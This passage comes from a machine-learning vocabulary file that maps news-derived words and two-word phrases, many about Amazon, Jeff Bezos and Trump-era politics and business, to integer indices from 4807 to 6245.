"capsized": 4807, "social sciences": 4808, "ecl shares": 4809, "president jeffrey": 4810, "night investigation": 4811, "pricing program": 4812, "offered employees": 4813, "earnings docket": 4814, "promotion effective": 4815, "housing shortage": 4816, "gives handouts": 4817, "finally broke": 4818, "200 youth": 4819, "china mission": 4820, "griffeth boy": 4821, "opposite brings": 4822, "pressing crisis": 4823, "healers despite": 4824, "filled conference": 4825, "novel john": 4826, "brainpower": 4827, "liberation": 4828, "considered just": 4829, "bolsonaro stated": 4830, "r5q": 4831, "ceo federal": 4832, "extensive assets": 4833, "clad": 4834, "setting financial": 4835, "perpetrators": 4836, "prefer clicks": 4837, "previous amazon": 4838, "noncash": 4839, "state assemblyman": 4840, "farm sa": 4841, "consumers fcc": 4842, "energy policy": 4843, "probably lower": 4844, "129 million": 4845, "saying ocasio": 4846, "scores": 4847, "barrel driving": 4848, "360 agcom": 4849, "personal grievances": 4850, "took flip": 4851, "declared senate": 4852, "echoes": 4853, "dresses 2018": 4854, "follower trucks": 4855, "vigorous": 4856, "ambulances": 4857, "lumber nails": 4858, "worker headed": 4859, "court don": 4860, "saudi authorities": 4861, "trump feud": 4862, "revenue printing": 4863, "sister cara": 4864, "chose cities": 4865, "uv sunscreen": 4866, "illegally received": 4867, "bankroll": 4868, "include higher": 4869, "race npr": 4870, "murad": 4871, "arbitrage": 4872, "including penney": 4873, "pinnacle awards": 4874, "hmd": 4875, "jughead": 4876, "rivals say": 4877, "philippines tfdp": 4878, "consumers complaints": 4879, "online primarily": 4880, "political hostility": 4881, "seattle amageddon": 4882, "tackle number": 4883, "jeffrey preston": 4884, "lewisville": 4885, "increasingly omnipresent": 4886, "face long": 4887, "wider post": 4888, "recognition product": 4889, "really executing": 4890, "music foreign": 4891, "formations": 4892, "peace knopf": 4893, "maintain healthy": 4894, "lawrey istock": 4895, "stringent definition": 4896, "new claim": 4897, "nextvideourl": 4898, "sunny": 4899, "simplistic review": 4900, "jon kyl": 4901, "upside seen": 4902, "morton": 4903, "programs administered": 4904, "newly": 4905, "packages megan": 4906, "ferguson": 4907, "provides additional": 4908, "query cp": 4909, "lax responses": 4910, "require legislation": 4911, "514": 4912, "glancing": 4913, "reports treasury": 4914, "state levels": 4915, "city vying": 4916, "court conservative": 4917, "general shakiness": 4918, "revelation steps": 4919, "win loss": 4920, "elected democrats": 4921, "quickly closing": 4922, "stellar numbers": 4923, "mystery posted": 4924, "grabs": 4925, "4chan voat": 4926, "downsize": 4927, "bray": 4928, "declaring war": 4929, "dynastic wealth": 4930, "special govcloud": 4931, "play kinky": 4932, "clearly strays": 4933, "texts": 4934, "states antitrust": 4935, "bilateral accord": 4936, "innovations including": 4937, "inside ami": 4938, "day meet": 4939, "year diana": 4940, "slams": 4941, "data improperly": 4942, "kim bronx": 4943, "graphic extortion": 4944, "trending sleeping": 4945, "irresponsible": 4946, "multinational": 4947, "key preferences": 4948, "insurgent shock": 4949, "nixon ronald": 4950, "best levels": 4951, "2014 critics": 4952, "company exploiting": 4953, "hailed turkey": 4954, "facilitating investment": 4955, "segall": 4956, "domenech": 4957, "history theory": 4958, "175 organizations": 4959, "icarus": 4960, "steve kornacki": 4961, "deepen": 4962, "pilot": 4963, "city ai": 4964, "operates service": 4965, "cooked": 4966, "agnes nutter": 4967, "trump footsteps": 4968, "wanzhou": 4969, "spells bad": 4970, "opinion trump": 4971, "central core": 4972, "midday comment": 4973, "moving operations": 4974, "boroughs including": 4975, "adsection const": 4976, "best witnessed": 4977, "original article": 4978, "political bubble": 4979, "president removed": 4980, "wbenjaminson bloomberg": 4981, "pedophilia thanks": 4982, "ongoing legal": 4983, "indonesia struck": 4984, "make steady": 4985, "test suggested": 4986, "newegg": 4987, "poll memo": 4988, "r8 j8i": 4989, "africa oena": 4990, "ami according": 4991, "wall bezos": 4992, "extensive reserves": 4993, "ruled passed": 4994, "round": 4995, "committee wrote": 4996, "comment howard": 4997, "remarkable growth": 4998, "food jobs": 4999, "feigenholtz": 5000, "kurzius billion": 5001, "digital maps": 5002, "arabia minister": 5003, "forever amazon": 5004, "warm": 5005, "thoroughly embracing": 5006, "modern robotic": 5007, "earn 120": 5008, "involving president": 5009, "share": 5010, "missed motley": 5011, "eyeing": 5012, "employee tax": 5013, "earn return": 5014, "ctrn nasdaq": 5015, "states mexico": 5016, "decade google": 5017, "generous jeff": 5018, "counsel investigations": 5019, "law causes": 5020, "500 futures": 5021, "urgency": 5022, "western tour": 5023, "market battle": 5024, "ceo marc": 5025, "leading reading": 5026, "new developments": 5027, "school staffers": 5028, "showlogo": 5029, "trending alexandria": 5030, "deal bodes": 5031, "military ranked": 5032, "alt primarily": 5033, "sienna stumbled": 5034, "new meanings": 5035, "carbon tax": 5036, "shui embedded": 5037, "democrats democrats": 5038, "security leaks": 5039, "ap spy": 5040, "shailesh": 5041, "floor retail": 5042, "penseur": 5043, "firm pemex": 5044, "start amazon": 5045, "backup fail": 5046, "photo du": 5047, "martin scorsese": 5048, "change especially": 5049, "help support": 5050, "outside customers": 5051, "list mixes": 5052, "tiny": 5053, "enquirer reveal": 5054, "plans donald": 5055, "food skills": 5056, "legionnaires": 5057, "box gives": 5058, "revolut": 5059, "poet table": 5060, "brazilian forestry": 5061, "nailing": 5062, "help explain": 5063, "selectusa": 5064, "parker": 5065, "rampant environmental": 5066, "national": 5067, "public speaker": 5068, "income filers": 5069, "house according": 5070, "ami bezos": 5071, "100 posterimageoverride": 5072, "contact columnist": 5073, "amazon privacy": 5074, "clear relatively": 5075, "second political": 5076, "actually deliver": 5077, "way listen": 5078, "stinks drain": 5079, "corporate observed": 5080, "super low": 5081, "shipping google": 5082, "application programming": 5083, "contest bezos": 5084, "ranching controversial": 5085, "impersonate amazon": 5086, "louis daycare": 5087, "trumpkins": 5088, "potential violations": 5089, "capitalization amazon": 5090, "employers fact": 5091, "inactive enrollment": 5092, "dong": 5093, "mbrooker1": 5094, "trump circle": 5095, "price best": 5096, "law point": 5097, "japan hedged": 5098, "striking similarities": 5099, "credentials trump": 5100, "trade round": 5101, "contact high": 5102, "dearth": 5103, "doesnt fear": 5104, "hartland governor": 5105, "elise": 5106, "story jim": 5107, "piecemeal high": 5108, "village hope": 5109, "ala conference": 5110, "exploit workers": 5111, "morethe uber": 5112, "grade school": 5113, "andrew loveridge": 5114, "national strategy": 5115, "criminally": 5116, "close connections": 5117, "quietly working": 5118, "complete mutual": 5119, "day given": 5120, "volatility bartiromo": 5121, "credits assume": 5122, "hit fever": 5123, "incentivize": 5124, "bold bets": 5125, "soullessness": 5126, "searle netflix": 5127, "uses individual": 5128, "alert": 5129, "little danger": 5130, "bosses ignore": 5131, "budget retailer": 5132, "balart fl": 5133, "monopoly busting": 5134, "care nurses": 5135, "agile sounds": 5136, "service known": 5137, "noticeably": 5138, "right ellison": 5139, "388160": 5140, "maisonet": 5141, "political enemies": 5142, "recently acquired": 5143, "friends report": 5144, "matter activist": 5145, "ran fiery": 5146, "rate commission": 5147, "officials believe": 5148, "emergencies": 5149, "logistics ecosystem": 5150, "unconfirmed": 5151, "monopoly criteria": 5152, "paperback form": 5153, "2752121 bezos": 5154, "reporter yara": 5155, "800 stores": 5156, "miraculously": 5157, "investment plans": 5158, "wow laura": 5159, "seeking divorce": 5160, "maddie": 5161, "incredible holiday": 5162, "american thinks": 5163, "dwoskin amazon": 5164, "moderate senate": 5165, "amazon customer": 5166, "just twiddles": 5167, "deepest": 5168, "helps explain": 5169, "running shoes": 5170, "converts joe": 5171, "blumenthal": 5172, "tall cactus": 5173, "missing hikers": 5174, "include rumor": 5175, "canadian flag": 5176, "sent 270": 5177, "general respect": 5178, "titular": 5179, "economic driver": 5180, "approach bezos": 5181, "race baiting": 5182, "later report": 5183, "just hasn": 5184, "activists say": 5185, "admirably": 5186, "thoroughly reviewed": 5187, "shares reached": 5188, "laws 2018": 5189, "retailer president": 5190, "it09_trump_051818_ap": 5191, "global military": 5192, "investments": 5193, "changes 2018": 5194, "votes": 5195, "shutters": 5196, "company euro": 5197, "wrote gm": 5198, "expansionary blood": 5199, "foxconn employees": 5200, "party online": 5201, "virginia posted": 5202, "far apple": 5203, "share email": 5204, "nabbed fresh": 5205, "worldwide tuned": 5206, "despite claims": 5207, "hosting services": 5208, "california check": 5209, "ominous sign": 5210, "favorite institution": 5211, "exodus": 5212, "harry truman": 5213, "2017 voice": 5214, "competitor netflix": 5215, "450 employees": 5216, "possible bob": 5217, "corrupt": 5218, "received mnuchin": 5219, "investigation wells": 5220, "bibble singing": 5221, "month idriss": 5222, "employee ubhi": 5223, "senate mayor": 5224, "protectionist policies": 5225, "skewed upward": 5226, "institution checking": 5227, "promptly escalate": 5228, "suburban virginia": 5229, "salesforce executives": 5230, "201923 pictures": 5231, "works spending": 5232, "ex wives": 5233, "2018 make": 5234, "breakneck": 5235, "taking bearish": 5236, "kitchen residents": 5237, "campaign advisers": 5238, "families petitioned": 5239, "previous ties": 5240, "public metrics": 5241, "yao": 5242, "002": 5243, "raise pointless": 5244, "reveals amazon": 5245, "morning greer": 5246, "seattle recently": 5247, "public outcry": 5248, "768bn net": 5249, "getting federal": 5250, "promotional spots": 5251, "respective industries": 5252, "competitors crumble": 5253, "enjoy support": 5254, "purchase field": 5255, "lauded actresses": 5256, "yugoslavia": 5257, "new processes": 5258, "asean": 5259, "profit soared": 5260, "corrupt amazon": 5261, "positive synergy": 5262, "appears unsustainable": 5263, "rbg": 5264, "bad run": 5265, "alarm bells": 5266, "lot going": 5267, "plantation": 5268, "halzack": 5269, "currently fda": 5270, "value apple": 5271, "stain": 5272, "matter amazon": 5273, "profit running": 5274, "virginia carell": 5275, "bodies rachel": 5276, "participated": 5277, "sales events": 5278, "demand barnes": 5279, "citizenship question": 5280, "favorable coverage": 5281, "announcement just": 5282, "ant financial": 5283, "page instead": 5284, "meritless": 5285, "meet payroll": 5286, "mma legislation": 5287, "actually public": 5288, "business executive": 5289, "early iterations": 5290, "management authority": 5291, "overseeing body": 5292, "recover": 5293, "today reportedly": 5294, "expe": 5295, "damned": 5296, "bezos stinging": 5297, "important scientific": 5298, "gnostic gospels": 5299, "charge exceeding": 5300, "sworn": 5301, "aggressively pushed": 5302, "begin shifting": 5303, "tax bryan": 5304, "slim fit": 5305, "amazon intends": 5306, "trump 20180625": 5307, "biggest technology": 5308, "fyre": 5309, "reverberating effect": 5310, "lamborghini cuts": 5311, "hen": 5312, "ted bridis": 5313, "deputy mayor": 5314, "pool leighton": 5315, "recent highly": 5316, "fiercely attacked": 5317, "easy subway": 5318, "based old": 5319, "house incendiary": 5320, "paperback": 5321, "department signaling": 5322, "related quicktakes": 5323, "dollar relative": 5324, "headquarters campus": 5325, "brussels european": 5326, "officially national": 5327, "2015 twitter": 5328, "blue mailbox": 5329, "eventually backed": 5330, "sarah cooper": 5331, "biofuels markets": 5332, "near impossible": 5333, "having workers": 5334, "industries reported": 5335, "great strengths": 5336, "koji sasahara": 5337, "page expos\u00e9": 5338, "persistent chatter": 5339, "independent booksellers": 5340, "undoubtedly irk": 5341, "anytime quickly": 5342, "gore isn": 5343, "risks prompting": 5344, "owns functions": 5345, "calling gang": 5346, "hourly instead": 5347, "crickets 2018": 5348, "new cuny": 5349, "post cites": 5350, "ken mcbride": 5351, "received yesterday": 5352, "gloriously": 5353, "latest": 5354, "policy includes": 5355, "taxes delayed": 5356, "led digital": 5357, "haven thought": 5358, "waters": 5359, "smithsonian institution": 5360, "bdi industry": 5361, "suv sent": 5362, "outside organizations": 5363, "productivity equilibrium": 5364, "bezoses perceive": 5365, "mishandled": 5366, "resembles": 5367, "journey read": 5368, "katie arrington": 5369, "place little": 5370, "a7 l7": 5371, "target shares": 5372, "climate new": 5373, "drones used": 5374, "affected state": 5375, "trump motives": 5376, "say requiring": 5377, "guyana ba": 5378, "different retailers": 5379, "gop leaders": 5380, "investigators want": 5381, "technology professor": 5382, "enjoy additional": 5383, "ebay etsy": 5384, "disability sexual": 5385, "affair tweeted": 5386, "protester dressed": 5387, "remove direct": 5388, "self help": 5389, "road metro": 5390, "rates adam": 5391, "election trip": 5392, "favorite books": 5393, "sad movies": 5394, "wasn company": 5395, "2017 otherworld": 5396, "retribution retaliation": 5397, "eternal adolescence": 5398, "quickly spark": 5399, "marketing search": 5400, "candace cameron": 5401, "helped push": 5402, "life man": 5403, "wedges": 5404, "governance international": 5405, "virginia ceo": 5406, "coffee energy": 5407, "alarming parallels": 5408, "radical islam": 5409, "spuriously": 5410, "tremendous order": 5411, "lp reported": 5412, "consultancy engagements": 5413, "chattanooga tennessee": 5414, "kroger especially": 5415, "early development": 5416, "product president": 5417, "typically need": 5418, "selected northern": 5419, "routinely failing": 5420, "wang": 5421, "deal readers": 5422, "soni": 5423, "expand manufacturing": 5424, "wrote bezos": 5425, "internet policy": 5426, "growing club": 5427, "origin rockets": 5428, "wellness": 5429, "reports kim": 5430, "demonized": 5431, "bezos feud": 5432, "investments reuters": 5433, "license plates": 5434, "certainly dominate": 5435, "wealthcare": 5436, "helicopter license": 5437, "enforcement did": 5438, "despite rising": 5439, "state shipments": 5440, "jr answered": 5441, "cops taser": 5442, "fix italy": 5443, "rat nest": 5444, "fbi agent": 5445, "burt": 5446, "new location": 5447, "age disability": 5448, "actual example": 5449, "weekend chuck": 5450, "event expected": 5451, "stock seeking": 5452, "trump va": 5453, "silence held": 5454, "responsibilities": 5455, "did numbers": 5456, "cool building": 5457, "million devices": 5458, "exposing bezos": 5459, "current internet": 5460, "coverage amazon": 5461, "combined 115bn": 5462, "foe": 5463, "bloomberg opinion": 5464, "jennings aurora": 5465, "hopeful elizabeth": 5466, "bezos wouldn": 5467, "america fastest": 5468, "volume tpv": 5469, "pacific deadliest": 5470, "sited": 5471, "packages addressed": 5472, "women accused": 5473, "rangers sword": 5474, "sunnyside yards": 5475, "ethics office": 5476, "turned orange": 5477, "create innovative": 5478, "necessary muckraking": 5479, "want corporations": 5480, "office denied": 5481, "turn profit": 5482, "advisors 2005": 5483, "linescame": 5484, "minimal dose": 5485, "kurtz source": 5486, "bogus claim": 5487, "rubicon": 5488, "issues rodrigo": 5489, "exists videocardcontents": 5490, "herera netflix": 5491, "expertise firms": 5492, "economy matter": 5493, "overcrowding": 5494, "need subsidies": 5495, "large real": 5496, "politics using": 5497, "creepy joe": 5498, "econ\u00f4mico newspaper": 5499, "rep darrell": 5500, "politicians decide": 5501, "superior product": 5502, "buyers strike": 5503, "shamelessly": 5504, "antiquated voting": 5505, "newsstands national": 5506, "association reports": 5507, "suffering inflicted": 5508, "important metropolitan": 5509, "longstanding": 5510, "measles": 5511, "new culture": 5512, "putin sparked": 5513, "coterie": 5514, "resisting extraction": 5515, "trump having": 5516, "agencies ibama": 5517, "really stressful": 5518, "offering olaoluwa": 5519, "repeatedly amazon": 5520, "trump people": 5521, "landers": 5522, "price flexibility": 5523, "celebrates election": 5524, "actually receive": 5525, "navy commander": 5526, "names include": 5527, "post strong": 5528, "shopper faith": 5529, "direct favorable": 5530, "laboratories mrl": 5531, "settled racial": 5532, "high youth": 5533, "iphone maker": 5534, "sanders directly": 5535, "heartbreaking": 5536, "groups sent": 5537, "110 billion": 5538, "perhach": 5539, "news chief": 5540, "blogspot": 5541, "make mistake": 5542, "yorgos lanthimos": 5543, "tony gonzalez": 5544, "litzow": 5545, "subsidiary moves": 5546, "director marty": 5547, "competition transportation": 5548, "decision turns": 5549, "ceo dheeraj": 5550, "20180625": 5551, "airport near": 5552, "owns space": 5553, "mississippi delta": 5554, "outflows": 5555, "national defense": 5556, "additional 789": 5557, "writings": 5558, "forma": 5559, "simple research": 5560, "minimal income": 5561, "deregulationist": 5562, "president finishing": 5563, "wyden ronald": 5564, "projects developed": 5565, "technology workers": 5566, "hidden opportunities": 5567, "lauchlan sooraj": 5568, "resulting expensing": 5569, "salary": 5570, "know 2018": 5571, "hq2 planning": 5572, "nfp": 5573, "rizzi": 5574, "xenophobic policing": 5575, "hatred bezos": 5576, "wage issues": 5577, "moderated according": 5578, "breaches weaponization": 5579, "eluded canadian": 5580, "club bedminster": 5581, "caravans supposedly": 5582, "bartz": 5583, "effectively bring": 5584, "tremendous loss": 5585, "photographer daniel": 5586, "entirely clear": 5587, "590 words": 5588, "gardner tells": 5589, "stays": 5590, "work practices": 5591, "kill approach": 5592, "pix11 cristian": 5593, "lighthearted impeach": 5594, "waffling": 5595, "year courtesy": 5596, "glance alabama": 5597, "meeting rebuffed": 5598, "started licensing": 5599, "wildly profitable": 5600, "hotstar": 5601, "organised rally": 5602, "fee says": 5603, "limited liability": 5604, "strzok worked": 5605, "\u01424 5billion": 5606, "gw henssler": 5607, "weeks according": 5608, "governments line": 5609, "troy bombardia": 5610, "shutterfly": 5611, "amid weak": 5612, "state visit": 5613, "great challenge": 5614, "uncomfortable facts": 5615, "house meadows": 5616, "privacy amazon": 5617, "review tv": 5618, "disruptive impact": 5619, "unlikely story": 5620, "hasn banned": 5621, "complained": 5622, "exclusives": 5623, "million 864": 5624, "demands posted": 5625, "diesel": 5626, "tm super": 5627, "business known": 5628, "hangover": 5629, "share agreement": 5630, "needs delivered": 5631, "brought new": 5632, "sign waits": 5633, "murdoch owner": 5634, "dreidel spins": 5635, "propublica": 5636, "replied": 5637, "470 words": 5638, "live hulu": 5639, "digitalspy instagram": 5640, "unparalleled": 5641, "bad budget": 5642, "playbook brussels": 5643, "new characters": 5644, "sonia": 5645, "mother 2019": 5646, "states defendant": 5647, "border arresting": 5648, "poorer service": 5649, "felony stemming": 5650, "tariff fight": 5651, "midterm horn": 5652, "fell broadly": 5653, "benefit space": 5654, "anticipated build": 5655, "inexplicably elected": 5656, "raising package": 5657, "ap lori": 5658, "legitimize": 5659, "honorary": 5660, "sec ruling": 5661, "businesses employing": 5662, "napolitano discussed": 5663, "insurance price": 5664, "regular post": 5665, "store chain": 5666, "concern pe\u00f1a": 5667, "ground north": 5668, "bristlecone trace": 5669, "krugman": 5670, "sales report": 5671, "origin goal": 5672, "donald": 5673, "ship commodities": 5674, "investigators": 5675, "kaiser": 5676, "equivalent products": 5677, "senate inflame": 5678, "garment naked": 5679, "zach gibson": 5680, "ingraham interviewed": 5681, "religious experience": 5682, "traitor conservatives": 5683, "remotely apple": 5684, "national enquir": 5685, "inequity": 5686, "tax act": 5687, "governments rival": 5688, "firster rush": 5689, "strength given": 5690, "pecker wouldn": 5691, "guest tom": 5692, "linguist": 5693, "envious": 5694, "cantonese food": 5695, "cozi creator": 5696, "fortune hong": 5697, "gecko": 5698, "sears lauren": 5699, "don fondle": 5700, "content kris": 5701, "make cheese": 5702, "post comment": 5703, "creole": 5704, "bezos pecker": 5705, "free expedited": 5706, "increasingly common": 5707, "sucked": 5708, "strikes finally": 5709, "appeal reach": 5710, "brother supporter": 5711, "sanders tweeted": 5712, "deals paul": 5713, "chicago river": 5714, "payseno family": 5715, "trump earlier": 5716, "switching": 5717, "strong handle": 5718, "blackrock nyse": 5719, "doorbell ring": 5720, "major news": 5721, "working man": 5722, "financially distressed": 5723, "growing feelings": 5724, "amzn adopts": 5725, "cape reveals": 5726, "consecutive years": 5727, "vilified experts": 5728, "home experience": 5729, "hgtv": 5730, "825 better": 5731, "founder jim": 5732, "greener future": 5733, "china turkey": 5734, "costs directly": 5735, "pentagon chief": 5736, "bought ibm": 5737, "tonght tuna": 5738, "deserved": 5739, "outcome bias": 5740, "lot bigger": 5741, "melatonin": 5742, "revamped north": 5743, "nancy davis": 5744, "metropolitan": 5745, "logistics anytime": 5746, "lands": 5747, "stuff muckerman": 5748, "propagate chinese": 5749, "viniar shares": 5750, "house chief": 5751, "crunch workers": 5752, "schools opened": 5753, "forces amazon": 5754, "new competitors": 5755, "concerned ami": 5756, "msnbc morning": 5757, "represent approximately": 5758, "including steel": 5759, "accusations swirl": 5760, "shoplifters amazon": 5761, "trucks": 5762, "data department": 5763, "j8 j8i": 5764, "copious": 5765, "trump second": 5766, "starter ihob": 5767, "tread carefully": 5768, "market antitrust": 5769, "certain cost": 5770, "arone chief": 5771, "extra pay": 5772, "concerns maybe": 5773, "employees contributions": 5774, "colorful digs": 5775, "581 million": 5776, "emanations": 5777, "tremor": 5778, "3175": 5779, "embolden": 5780, "sergey": 5781, "timing turn": 5782, "story derek": 5783, "bail selena": 5784, "fried noted": 5785, "alt los": 5786, "maximum speed": 5787, "comedy farout": 5788, "ami included": 5789, "useful tool": 5790, "bankruptcies palace": 5791, "215 000": 5792, "ad outlays": 5793, "author income": 5794, "amazon selects": 5795, "trump supreme": 5796, "echo customer": 5797, "pay levels": 5798, "prurient": 5799, "benign": 5800, "627": 5801, "dozen agencies": 5802, "major revelations": 5803, "saddam": 5804, "constrain": 5805, "effort businesswire": 5806, "faces minimal": 5807, "imagealt santa": 5808, "album makes": 5809, "simons emphasized": 5810, "vendors amazon": 5811, "exactly light": 5812, "violence repeatedly": 5813, "unforced error": 5814, "glovebox": 5815, "rare rebuke": 5816, "outside tweet": 5817, "afm": 5818, "best scorers": 5819, "extremely entertaining": 5820, "quote spinal": 5821, "anselmo": 5822, "presidential memo": 5823, "page street": 5824, "2030": 5825, "lago bezos": 5826, "handle counterfeits": 5827, "president suggested": 5828, "community organizers": 5829, "unwillingness": 5830, "amazon ruralists": 5831, "driver hits": 5832, "research using": 5833, "read socks": 5834, "mortgages cooled": 5835, "griffeth elf": 5836, "report second": 5837, "stand isis": 5838, "circle including": 5839, "opinion submit_a_letter": 5840, "374 open": 5841, "prevalence": 5842, "streaming platform": 5843, "received countless": 5844, "electric scooters": 5845, "turkey building": 5846, "environmental defenders": 5847, "r4": 5848, "targeted amazon": 5849, "platform ebay": 5850, "jpg largepromoimage": 5851, "story brandy": 5852, "rally ahead": 5853, "trump devotee": 5854, "work eligibility": 5855, "book recommendations": 5856, "scott": 5857, "little used": 5858, "citylab richard": 5859, "treasury prices": 5860, "gun maverick": 5861, "quarter update": 5862, "ultimately permits": 5863, "boasted": 5864, "pressure stock": 5865, "urges military": 5866, "chua tiger": 5867, "cigarettes juul": 5868, "handmade blankets": 5869, "billion adding": 5870, "users alerts": 5871, "dysfunctional": 5872, "built plants": 5873, "chicago eat": 5874, "depreciation write": 5875, "survive trips": 5876, "apple search": 5877, "cross case": 5878, "kelly sexual": 5879, "hampshire based": 5880, "46b market": 5881, "live streaming": 5882, "harnik ap": 5883, "hopefuls ought": 5884, "portland area": 5885, "published mccain": 5886, "stop recognizing": 5887, "anti government": 5888, "network including": 5889, "ossenbeck interprets": 5890, "credulous bookseller": 5891, "lander carlos": 5892, "fucking republic": 5893, "trump worked": 5894, "400bn": 5895, "special lawyer": 5896, "class cell": 5897, "success conference": 5898, "invasion trump": 5899, "outpolled": 5900, "goods mark": 5901, "nbc announced": 5902, "total waste": 5903, "bring cases": 5904, "jerry zremski": 5905, "2019 versus": 5906, "long series": 5907, "adm soy": 5908, "line cbs": 5909, "kkr": 5910, "retention": 5911, "takes holiday": 5912, "mary poppins": 5913, "american business": 5914, "absurd": 5915, "way questions": 5916, "black gun": 5917, "fun fact": 5918, "powerful bomb": 5919, "momentarily": 5920, "george believes": 5921, "getcurrentvideoindex": 5922, "reportedly paying": 5923, "fisch professor": 5924, "shroud dubbed": 5925, "levine explains": 5926, "ap congress": 5927, "amazon negotiate": 5928, "specific aesthetic": 5929, "parkland shootings": 5930, "selection stressed": 5931, "otherworld science": 5932, "bearish bets": 5933, "motive": 5934, "report providing": 5935, "adding tv": 5936, "deepening relationship": 5937, "portfolio manager": 5938, "called soft": 5939, "government federal": 5940, "ruling justice": 5941, "aafa grievances": 5942, "oil trading": 5943, "users 300m": 5944, "trip forte": 5945, "filmmaking": 5946, "direction president": 5947, "new mortgage": 5948, "autostart": 5949, "amazon michael": 5950, "schlossberg": 5951, "iron curtain": 5952, "strike": 5953, "far right": 5954, "virally impactful": 5955, "civilly protest": 5956, "hold shares": 5957, "political perspective": 5958, "longtime network": 5959, "maiga pic": 5960, "staff shake": 5961, "briefing mark": 5962, "hancock": 5963, "uksmallbizrt": 5964, "jamie condliffe": 5965, "haven deterred": 5966, "party picked": 5967, "away amazon": 5968, "policy laughs": 5969, "howorth explained": 5970, "states lack": 5971, "calming": 5972, "congregation chabad": 5973, "time passed": 5974, "sent clear": 5975, "fide small": 5976, "paper amazon": 5977, "metapack sales": 5978, "volume remained": 5979, "reality world": 5980, "devil": 5981, "chip gaines": 5982, "hour standard": 5983, "haggling": 5984, "inc_homepage_headline_ab_test null": 5985, "film premiere": 5986, "dowless": 5987, "antitrust actions": 5988, "oedipal": 5989, "predict": 5990, "courtroom drama": 5991, "continue serving": 5992, "editor approved": 5993, "nurse psychiatrist": 5994, "salvaging metal": 5995, "received far": 5996, "inexplicably": 5997, "refinancing": 5998, "900 000": 5999, "uniforming": 6000, "jones vice": 6001, "net john": 6002, "linkedin earnings": 6003, "day week": 6004, "second black": 6005, "job duties": 6006, "incentive package": 6007, "president arrival": 6008, "bad tax": 6009, "redemption story": 6010, "politicians journalists": 6011, "regulations encourage": 6012, "7th slot": 6013, "videotape bartiromo": 6014, "planned investment": 6015, "eventually affected": 6016, "owns nearly": 6017, "influential newspapers": 6018, "received acclaims": 6019, "pedigree mnuchin": 6020, "alexa based": 6021, "key driver": 6022, "20181205": 6023, "daily caller": 6024, "political tome": 6025, "offered package": 6026, "profit education": 6027, "member station": 6028, "zealotry inciting": 6029, "officially hit": 6030, "new homes": 6031, "expressing deep": 6032, "120 responsiveimage": 6033, "stan carroll": 6034, "caption players": 6035, "malicious microchips": 6036, "company hubris": 6037, "grab": 6038, "microsoft 859": 6039, "whippits": 6040, "malignant effect": 6041, "corporate target": 6042, "au": 6043, "perspective": 6044, "record zinke": 6045, "need regulation": 6046, "influence wielded": 6047, "180 words": 6048, "ou amazon": 6049, "stocks story": 6050, "brewing rivalry": 6051, "stay involved": 6052, "events planned": 6053, "google microsoft": 6054, "city hopes": 6055, "reasoning": 6056, "columbus pledged": 6057, "yong": 6058, "tax responsibility": 6059, "alleged gunman": 6060, "private money": 6061, "craniotomy": 6062, "goldman writes": 6063, "york lots": 6064, "left speaks": 6065, "long journalistic": 6066, "novelists tracks": 6067, "mounce executive": 6068, "traditional arrangement": 6069, "foto sourcebusiness": 6070, "trump gloated": 6071, "subscribers hours": 6072, "elementary schools": 6073, "named including": 6074, "community gianaris": 6075, "unconditionally": 6076, "loyalty program": 6077, "change ipcc": 6078, "comment california": 6079, "great think": 6080, "grief investigations": 6081, "oracle ibm": 6082, "robotics company": 6083, "cbsmiami": 6084, "krauthammer abridged": 6085, "pensacola": 6086, "plants fake": 6087, "confidence allowing": 6088, "pop store": 6089, "politicians amazon": 6090, "indignation crested": 6091, "including just": 6092, "headlines house": 6093, "elevator pitch": 6094, "post publishes": 6095, "mundo quiere": 6096, "delayed ipo": 6097, "niobium metal": 6098, "tweet stream": 6099, "chinese ones": 6100, "wulfraat": 6101, "told breitbart": 6102, "klieger wrote": 6103, "federal opportunity": 6104, "earlier study": 6105, "trump regulators": 6106, "public economic": 6107, "warmer takes": 6108, "daily newsletters": 6109, "q4 indicates": 6110, "optional": 6111, "include roku": 6112, "paid tribute": 6113, "think heading": 6114, "jrhoten": 6115, "presentations following": 6116, "bigger fish": 6117, "gatekeepers": 6118, "political agendas": 6119, "flights practice": 6120, "offer lower": 6121, "international hotel": 6122, "nyt owner": 6123, "tax itep": 6124, "behavior 2018": 6125, "allen argument": 6126, "resignation claiming": 6127, "occasions telling": 6128, "management hammer": 6129, "technology giants": 6130, "state customer": 6131, "evils": 6132, "photo cliff": 6133, "nashville claims": 6134, "inspiring mary": 6135, "peg": 6136, "mccorkle": 6137, "smokey": 6138, "cakes": 6139, "applicant companies": 6140, "blue president": 6141, "personal democracy": 6142, "technical information": 6143, "conference hibs": 6144, "example andrew": 6145, "administration report": 6146, "event organized": 6147, "private property": 6148, "tech largest": 6149, "negotiated arrangements": 6150, "deceiving simplicity": 6151, "studio 8h": 6152, "called hwasong": 6153, "zteirstein": 6154, "administration president": 6155, "time thought": 6156, "include metapack": 6157, "shared insight": 6158, "queens pic": 6159, "189 times": 6160, "purposefully": 6161, "scola nscola": 6162, "sir david": 6163, "amid tighter": 6164, "stream media": 6165, "supported federal": 6166, "claim journalist": 6167, "clear waves": 6168, "orwell 1984": 6169, "everyday working": 6170, "did later": 6171, "figure new": 6172, "city michael": 6173, "cloud hybrid": 6174, "orlando government": 6175, "meaningful bond": 6176, "notable": 6177, "results just": 6178, "kindle alexa": 6179, "party begin": 6180, "apple finished": 6181, "000 sweaters": 6182, "permanent member": 6183, "googl invented": 6184, "sean colarossi": 6185, "leave rampback": 6186, "films ceo": 6187, "147": 6188, "pricing want": 6189, "closer look": 6190, "smashracismdc": 6191, "presidency ahead": 6192, "idriss d\u00e9by": 6193, "week limit": 6194, "tempts savers": 6195, "sly sketch": 6196, "group formed": 6197, "wellbeing": 6198, "algorithmic recommendations": 6199, "telecommunications service": 6200, "demand 2018": 6201, "state check": 6202, "marketwatch including": 6203, "spent billions": 6204, "cancer survivorship": 6205, "marvel series": 6206, "return n7": 6207, "companies pay": 6208, "miniseries": 6209, "website selling": 6210, "chinese market": 6211, "using linux": 6212, "neighbor tech": 6213, "colors santiago": 6214, "dave": 6215, "various interests": 6216, "scholars told": 6217, "core": 6218, "city immigrants": 6219, "anselmo california": 6220, "blanking": 6221, "lessen america": 6222, "nancy abudu": 6223, "restart": 6224, "pincus check": 6225, "amazon records": 6226, "plus yield": 6227, "ice employee": 6228, "rush wait": 6229, "examiner columnist": 6230, "purposes sic": 6231, "democracy issues": 6232, "platform terms": 6233, "440": 6234, "executive producer": 6235, "international consumer": 6236, "server719395": 6237, "finance child": 6238, "post logo": 6239, "felt right": 6240, "kristine coratti": 6241, "lead idc": 6242, "043": 6243, "paul city": 6244, "hinterland": 6245, 